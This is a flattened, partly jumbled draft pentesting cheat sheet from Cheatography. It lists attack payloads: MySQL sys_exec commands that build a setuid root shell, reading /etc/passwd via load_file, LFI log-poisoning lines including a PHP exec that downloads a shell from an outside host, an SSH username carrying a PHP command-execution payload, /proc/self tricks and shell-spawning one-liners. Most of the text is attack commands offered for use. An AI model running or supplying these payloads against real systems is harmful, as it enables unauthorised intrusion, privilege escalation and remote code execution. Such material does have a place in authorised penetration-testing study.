Enumeration
testtest BASH commands
; or ` or | to execute commands as second argument Sharing files without Apache
|
Mysql commandslogged in mysql as root SELECT sys_exec('touch /tmp/thisisatest'); int main() { setresuid(0, 0, 0); setresgid(0, 0, 0); system( "/bin/bash" ); return 0; } SELECT sys_exec('chown root.root /tmp/exploit'); SELECT sys_exec('chmod +s,a+rwx /tmp/exploit'); ------- select load_file('/etc/passwd') Password decryption
LFI attack
URL http://blah/access.log&cmd=ls error.log no links inside http://blah/ [payload] encoded in url only telnet + user agent can be used access.log or user agent GET /<? exec('wget http://h3ck.dyndns.org/ani.txt -O shell.php');?> GET /< ?php phpinfo(); ? > ---------------------- lfi + auth.log writable + ssh command execution ssh '<pre><?php echo system($_GET["cmd"]); exit; ?>'@h3ck.dyndns.org ----- /proc/self/environ -> user agent /proc/self/cmdline /proc/self/fd/1,2,3.. |
Php executing commands
functions exec, shell_exec, passthru Pseudo-terminal to real shell
echo os.system('/bin/bash') /bin/sh -i SQL injection
Wordlists & Exploits
|
Cheatography
https://cheatography.com
Pentesting Cheat Sheet (DRAFT) by vag_mour
This is a draft cheat sheet. It is a work in progress and is not finished yet.